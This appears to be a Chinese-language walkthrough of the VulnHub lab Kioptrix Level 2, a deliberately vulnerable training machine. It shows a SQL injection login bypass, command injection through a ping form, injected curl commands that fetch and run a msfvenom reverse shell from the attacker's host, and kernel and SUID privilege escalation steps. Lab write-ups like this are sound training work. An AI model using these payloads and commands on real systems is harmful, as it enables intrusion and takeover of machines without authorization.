kioptrix-2
简介
https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
总结:
-
Internet Printing Protocol (IPP) 协议:打印机
-
openssh 常见漏洞:ssh-audit 的security 信息一栏中,指出了可能存在的漏洞。
-
某些 exp 利用问题:一些老python exp ,可能会出现版本不兼容问题,下面是降低模板版本的方法。
python2 -m pip install paramiko==1.15.2
-
# 可以看当前可执行的所有文件(判断依据为其它用户可执行) for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -perm -001 2>/dev/null; done # 可以得到 suid 权限的命令 for x in `find / -perm -4000 2>/dev/null`;do printf "`basename $x`,";done
-
当可能 exp 太多,尝试缩小范围,搜索。搜索更精确 的 系统内核信息。
服务扫描
服务漏洞验证
ssh
除了可能的用户名枚举外,没有显然的漏洞。
rpcbind
nmap -sSUC -p111 192.168.10.1
没有值得注意的服务
ipp
7550 可能用作本地提权
mysql
进行探测,结果禁止远程主机连接。
web 渗透
在进行下一步之前,先用 dirsearch 在后台跑文件目录。跑完后没有发现什么别的网页。
进入网页,看到登录框,应该能想到 sql 注入 和 弱凭证爆破。
sql 先简单手动尝试几下,发现直接就是成功进入系统 asd' or 1 -- #
。如果手动检测不到,也可以直接 sqlmap
进入成功后发现是具有 ping 功能,应该猜想到可能有 命令注入。
尝试常见的闭合方式,没总结,就直接上工具 coomix
将请求用 burp 捕捉并保存到文件 zzz,然后直接 python2 commix.py -r zzz -p ip
原来直接不需要闭合。。。ip 参数poc 为 127.0.1.1;whoami
既然可以命令执行,那么就开始上传shell。
msfvenom 生成 shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.200.128 -f elf -o shell
这里简单起见,直接通过 python http.server 模块将 shell 上传到目标主机
python3 -m http.server -b 192.168.200.128 9999
# 靶场下载 shell
127.0.1.1;curl http://192.168.200.128:9999/shell -o /tmp/shell
# 本地 msf 进行监听
# 靶场执行 shell
127.0.1.1;chmod u+x /tmp/shell;/tmp/shell
# 靶场为了使 shell 后台执行,
127.0.1.1;chmod u+x /tmp/shell;(/tmp/shell &)
成功反弹 shell
提权
上传 linpeas ,尝试提权。在目标机器上尝试运行,得到以下信息。
系统信息
值得注意的是 linux 内核版本,及 sudo 版本,及 PATH 环境变量。
内核漏洞
尝试 9542 进行提权,发现提权成功。
以下是通过其它方面提权的尝试,都没有成功。。
sudo 版本
版本不符合
PATH 环境变量
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/system/bin:/system/sbin:/system/xbin
看环境变量中有无权限奇怪的文件
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -perm -001 2>/dev/null; done # 可以看当前可执行的所有文件(其它用户可执行)
用户信息
额外的两个用户
安装软件信息
mysql 没有存在可用漏洞,而 apache 有一个 dos 漏洞
这两个访问了下其实都没有什么。
有趣的文件
在 gtfbins 搜索这个文件,可以看到它可以执行任意的命令。
以上这些标红的都是存在提权漏洞的程序。直接在 exploitdb 上进行搜索。
有的可能找不到,或不符合。 例如 passwd
敏感信息
root 用户有邮件信息,但我们没有读取的权限
数据库敏感信息
由于刚才web 端登录功能是通过查询数据库实现的,所以问我们在脚本文件中很可能找到mysql 的密码。经过查看,在 index.php 中发现 mysql 用户名与密码。
# index.php
mysql_connect("localhost", "john", "hiroshima") or die(mysql_error());
看下mysql 用户是否以高权限运行?结果是以 mysql 用户运行。。
登录进去,看是否有敏感信息。
mysql.user 可以看到 数据库 所有用户密码相同。
webapp.users 可以看到所有 web用户。
将这个密码尝试 sudo、发现都不符合。
harold
john
尝试将这两个密码用作ssh,结果都失败。